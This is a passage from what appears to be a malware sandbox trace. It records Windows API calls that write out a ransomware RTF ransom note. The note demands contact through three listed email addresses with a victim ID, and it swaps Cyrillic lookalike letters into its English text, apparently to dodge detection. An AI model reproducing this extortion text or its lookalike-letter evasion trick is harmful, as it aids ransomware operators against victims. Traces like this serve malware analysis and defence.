n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.915] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, 